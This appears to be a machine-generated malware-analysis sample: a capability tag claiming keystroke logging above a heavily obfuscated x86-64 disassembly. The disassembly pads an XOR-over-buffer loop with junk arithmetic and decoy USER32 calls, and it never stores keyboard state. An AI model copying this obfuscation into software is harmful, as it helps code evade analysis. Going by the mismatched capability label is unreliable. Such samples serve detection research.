Function at 0x2f8aa86ba
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov edx, 0
mov ecx, 5
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
movzx eax, byte [0x2f8ab40b6]
add eax, 0x34
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
xor ax, 0x72cf
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40b8]
and eax, 0xffffff92
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
and ax, 0xc41e
mov word [0x2f8ab40bc], ax
mov dword [rbp - 4], 0x23
movzx eax, word [0x2f8ab40bc]
xor ax, 0xeed5
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40ba]
imul ax, ax, 0x4c51
mov word [0x2f8ab40b4], ax
movzx eax, word [0x2f8ab40b8]
add eax, 0x16
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
xor ax, 0x21b3
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40bc]
xor eax, 0x2c
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40ba]
mov edx, 0xffffff8f
imul eax, edx
mov byte [0x2f8ab40b6], al
movzx eax, word [0x2f8ab40b8]
and ax, 0x3d2e
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
and ax, 0x3745
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40ba]
and eax, 0x60
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b0]
and eax, 0x1f
mov byte [0x2f8ab40b1], al
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
xor ax, 0x45c7
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40b8]
sub ax, 0x1093
mov word [0x2f8ab40b4], ax
movzx eax, word [0x2f8ab40b8]
and eax, 0x11
mov byte [0x2f8ab40b2], al
movzx eax, word [0x2f8ab40b4]
add eax, 0x66
mov byte [0x2f8ab40b0], al
mov eax, dword [rbp + 0x10]
mov dword [rbp - 0x1c], eax
movzx eax, word [0x2f8ab40b4]
xor eax, 0xffffffd3
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40bc]
or ax, 0x5f74
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b6]
movzx eax, al
xor ax, 0xac61
mov word [0x2f8ab40b4], ax
movzx eax, word [0x2f8ab40ba]
imul ax, ax, 0x7fc7
mov word [0x2f8ab40b4], ax
movzx eax, byte [0x2f8ab40b1]
sub eax, 0x49
mov byte [0x2f8ab40b1], al
movzx eax, byte [0x2f8ab40b6]
movzx eax, al
add ax, 0x5f5e
mov word [0x2f8ab40bc], ax
lea rax, [rbp - 0x1c]
mov qword [rbp - 0x18], rax
movzx eax, byte [0x2f8ab40b1]
xor eax, 0xffffffca
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
sub ax, 0x7b9f
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b2]
mov edx, 0x39
imul eax, edx
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
add ax, 0x1e0
mov word [0x2f8ab40b4], ax
movzx eax, word [0x2f8ab40b8]
imul ax, ax, 0x8469
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40b4]
and ax, 0x8b9c
mov word [0x2f8ab40ba], ax
add dword [rbp - 4], 1
movzx eax, word [0x2f8ab40b4]
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b0]
or eax, 0xffffffcb
mov byte [0x2f8ab40b2], al
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
sub ax, 0xa77
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
xor ax, 0xd6e
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b0]
or eax, 0xfffffffb
mov byte [0x2f8ab40b0], al
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax]
mov byte [rbp - 5], al
movzx eax, byte [0x2f8ab40b6]
add eax, 0x33
mov byte [0x2f8ab40b2], al
movzx eax, word [0x2f8ab40bc]
and ax, 0x54e1
mov word [0x2f8ab40b4], ax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
xor ax, 0x8da9
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40bc]
add eax, 0xffffff80
mov byte [0x2f8ab40b6], al
movzx eax, word [0x2f8ab40bc]
or eax, 9
mov byte [0x2f8ab40b0], al
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 1]
mov byte [rbp - 6], al
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
imul ax, ax, 0x7b68
mov word [0x2f8ab40ba], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, word [0x2f8ab40b8]
xor eax, 0x62
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
or ax, 0x59de
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
or ax, 0x9fe6
mov word [0x2f8ab40bc], ax
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 2]
mov byte [rbp - 7], al
movzx eax, word [0x2f8ab40ba]
sub ax, 0x7a78
mov word [0x2f8ab40bc], ax
mov byte [0x2f8ab40b0], 0
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
add ax, 0x5dff
mov word [0x2f8ab40b4], ax
movzx eax, byte [0x2f8ab40b6]
movzx eax, al
or ax, 0x12fd
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40bc]
or ax, 0xdf57
mov word [0x2f8ab40b4], ax
movzx eax, word [0x2f8ab40bc]
or ax, 0xcf96
mov word [0x2f8ab40b4], ax
movzx eax, word [0x2f8ab40ba]
xor ax, 0xf89
mov word [0x2f8ab40bc], ax
add dword [rbp - 4], 1
not byte [rbp - 6]
movzx eax, word [0x2f8ab40b8]
xor eax, 0xffffffe4
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40bc]
imul ax, ax, 0xdd
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b6]
and eax, 0xffffff9a
mov byte [0x2f8ab40b6], al
movzx eax, word [0x2f8ab40b8]
and ax, 0x7d22
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40bc]
or ax, 0x42ad
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b1]
mov edx, 0x4e
imul eax, edx
mov byte [0x2f8ab40b6], al
add dword [rbp - 4], 1
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
or ax, 0xc151
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
add ax, 0x1048
mov word [0x2f8ab40b4], ax
movzx eax, word [0x2f8ab40b8]
add eax, 0xffffff80
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b0]
sub eax, 0x1b
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b2]
or eax, 0x31
mov byte [0x2f8ab40b0], al
mov dword [rbp - 0xc], 0
jmp 0x2f8aa92b4
movzx eax, word [0x2f8ab40b4]
sub eax, 0x4b
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40b4]
add eax, 0xc
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b6]
movzx eax, al
or ax, 0x2af3
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b2]
or eax, 0x7e
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
xor ax, 0x7b65
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
add ax, 0x3d63
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40b8]
and ax, 0xee9
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40ba]
and eax, 0x31
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40b8]
mov edx, 0x76
imul eax, edx
mov byte [0x2f8ab40b2], al
movzx eax, byte [0x2f8ab40b6]
or eax, 0xffffffb4
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
imul ax, ax, 0xa6f3
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b1]
sub eax, 4
mov byte [0x2f8ab40b0], al
add dword [rbp - 4], 1
movzx eax, byte [0x2f8ab40b2]
add eax, 0x55
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40bc]
and ax, 0x540a
mov word [0x2f8ab40b4], ax
movzx eax, byte [0x2f8ab40b1]
add eax, 0x3f
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
sub ax, 0x2a4d
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
add ax, 0x6109
mov word [0x2f8ab40b4], ax
movzx edx, byte [rbp - 5]
movzx eax, byte [rbp - 6]
add eax, edx
mov byte [rbp - 0xd], al
movzx eax, byte [0x2f8ab40b2]
mov edx, 0x3b
imul eax, edx
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40b4]
or ax, 0xc042
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40ba]
or eax, 0xffffff87
mov byte [0x2f8ab40b2], al
movzx eax, byte [0x2f8ab40b0]
mov edx, 0xffffffd2
imul eax, edx
mov byte [0x2f8ab40b0], al
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
sub ax, 0x43de
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
add ax, 0x30db
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
imul ax, ax, 0x7f72
mov word [0x2f8ab40bc], ax
add dword [rbp - 4], 1
movzx eax, byte [rbp - 6]
mov byte [rbp - 5], al
movzx eax, word [0x2f8ab40b8]
add ax, 0x3622
mov word [0x2f8ab40b4], ax
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
imul ax, ax, 0xd6d7
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40b4]
and ax, 0x9e7a
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40ba]
or eax, 0xffffffc0
mov byte [0x2f8ab40b1], al
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
and ax, 0x73be
mov word [0x2f8ab40ba], ax
add dword [rbp - 4], 1
movzx eax, byte [rbp - 7]
mov byte [rbp - 6], al
movzx eax, word [0x2f8ab40b4]
sub ax, 0x6080
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b6]
mov edx, 0xffffffcf
imul eax, edx
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b6]
or eax, 0x56
mov byte [0x2f8ab40b6], al
add dword [rbp - 4], 1
movzx eax, byte [rbp - 7]
add byte [rbp - 0xd], al
movzx eax, byte [0x2f8ab40b6]
xor eax, 0x71
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40b4]
or eax, 0x22
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40b4]
and eax, 0x1d
mov byte [0x2f8ab40b2], al
movzx eax, byte [0x2f8ab40b0]
sub eax, 0x27
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
imul ax, ax, 0x88e4
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40b8]
imul ax, ax, 0xd30f
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40b4]
or ax, 0xdbec
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40b4]
or ax, 0x24f8
mov word [0x2f8ab40bc], ax
add dword [rbp - 4], 1
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
imul ax, ax, 0x6952
mov word [0x2f8ab40b4], ax
movzx eax, byte [0x2f8ab40b6]
xor eax, 0x70
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40b4]
add eax, 0x43
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40ba]
add ax, 0x1f58
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40bc]
or eax, 0xfffffff0
mov byte [0x2f8ab40b0], al
movzx eax, byte [rbp - 0xd]
test al, al
jns 0x2f8aa906e
movzx eax, byte [0x2f8ab40b2]
and eax, 0x65
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40ba]
or eax, 0x2b
mov byte [0x2f8ab40b1], al
movzx eax, byte [0x2f8ab40b6]
add eax, 0x2e
mov byte [0x2f8ab40b2], al
movzx eax, word [0x2f8ab40b8]
imul ax, ax, 0xc60a
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
imul ax, ax, 0xace
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40bc]
and eax, 0x35
mov byte [0x2f8ab40b1], al
shl byte [rbp - 0xd], 1
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
xor ax, 0x7456
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40ba]
and eax, 0xffffffdb
mov byte [0x2f8ab40b1], al
movzx eax, byte [0x2f8ab40b1]
movzx eax, al
sub ax, 0x6a80
mov word [0x2f8ab40b8], ax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
sub ax, 0x24d2
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40ba]
xor eax, 0xffffff83
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40b4]
mov edx, 0xffffffc9
imul eax, edx
mov byte [0x2f8ab40b1], al
add dword [rbp - 4], 1
movzx eax, word [0x2f8ab40ba]
xor ax, 0xd835
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40ba]
mov edx, 0xffffff93
imul eax, edx
mov byte [0x2f8ab40b0], al
mov edx, 0
mov ecx, 0xae
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
or byte [rbp - 0xd], 1
jmp 0x2f8aa9163
movzx edx, byte [0x2f8ab40b2]
mov eax, edx
shl edx, 2
sub eax, edx
shl eax, 4
mov byte [0x2f8ab40b2], al
movzx eax, byte [0x2f8ab40b6]
movzx eax, al
or ax, 0xe85c
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b6]
xor eax, 0x7c
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40ba]
and ax, 0x42b5
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
xor ax, 0x195a
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40b4]
and eax, 0x13
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40b8]
add ax, 0x7546
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40b8]
add eax, 0x5e
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40b8]
or ax, 0xc70
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40b4]
sub eax, 0x1f
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40b8]
xor ax, 0xacbf
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
sub ax, 0x1ae6
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b0]
or eax, 0x75
mov byte [0x2f8ab40b2], al
add dword [rbp - 4], 1
shl byte [rbp - 0xd], 1
movzx eax, byte [rbp - 0xd]
mov byte [rbp - 7], al
movzx eax, word [0x2f8ab40bc]
add eax, 0x70
mov byte [0x2f8ab40b6], al
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
imul ax, ax, 0x14c
mov word [0x2f8ab40bc], ax
movzx eax, byte [0x2f8ab40b2]
movzx eax, al
sub ax, 0x3eea
mov word [0x2f8ab40bc], ax
movzx eax, word [0x2f8ab40b8]
or eax, 0xffffffc6
mov byte [0x2f8ab40b0], al
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov edx, 0
mov ecx, 0xc6
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
sub ax, 0x7a19
mov word [0x2f8ab40bc], ax
add dword [rbp - 4], 1
movzx eax, word [0x2f8ab40ba]
xor eax, 0xffffffee
mov byte [0x2f8ab40b6], al
movzx eax, word [0x2f8ab40ba]
add ax, 0x5061
mov word [0x2f8ab40ba], ax
movzx eax, byte [0x2f8ab40b0]
movzx eax, al
sub ax, 0x1369
mov word [0x2f8ab40b8], ax
movzx eax, word [0x2f8ab40ba]
add ax, 0x5ff6
mov word [0x2f8ab40b4], ax
movzx eax, byte [0x2f8ab40b2]
sub eax, 0x77
mov byte [0x2f8ab40b2], al
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx eax, byte [rax]
mov edx, dword [rbp - 0xc]
movsxd rcx, edx
mov rdx, qword [rbp + 0x18]
add rdx, rcx
xor al, byte [rbp - 0xd]
mov byte [rdx], al
movzx eax, word [0x2f8ab40bc]
add eax, 8
mov byte [0x2f8ab40b0], al
movzx eax, word [0x2f8ab40bc]
or ax, 0xab2f
mov word [0x2f8ab40ba], ax
movzx eax, word [0x2f8ab40ba]
xor eax, 0x27
mov byte [0x2f8ab40b1], al
movzx eax, word [0x2f8ab40bc]
and eax, 0x66
mov byte [0x2f8ab40b1], al
add dword [rbp - 4], 1
add dword [rbp - 0xc], 1
mov eax, dword [rbp - 0xc]
cdqe
cmp rax, qword [rbp + 0x20]
jb 0x2f8aa8bc6
nop
nop
add rsp, 0x40
pop rbp
ret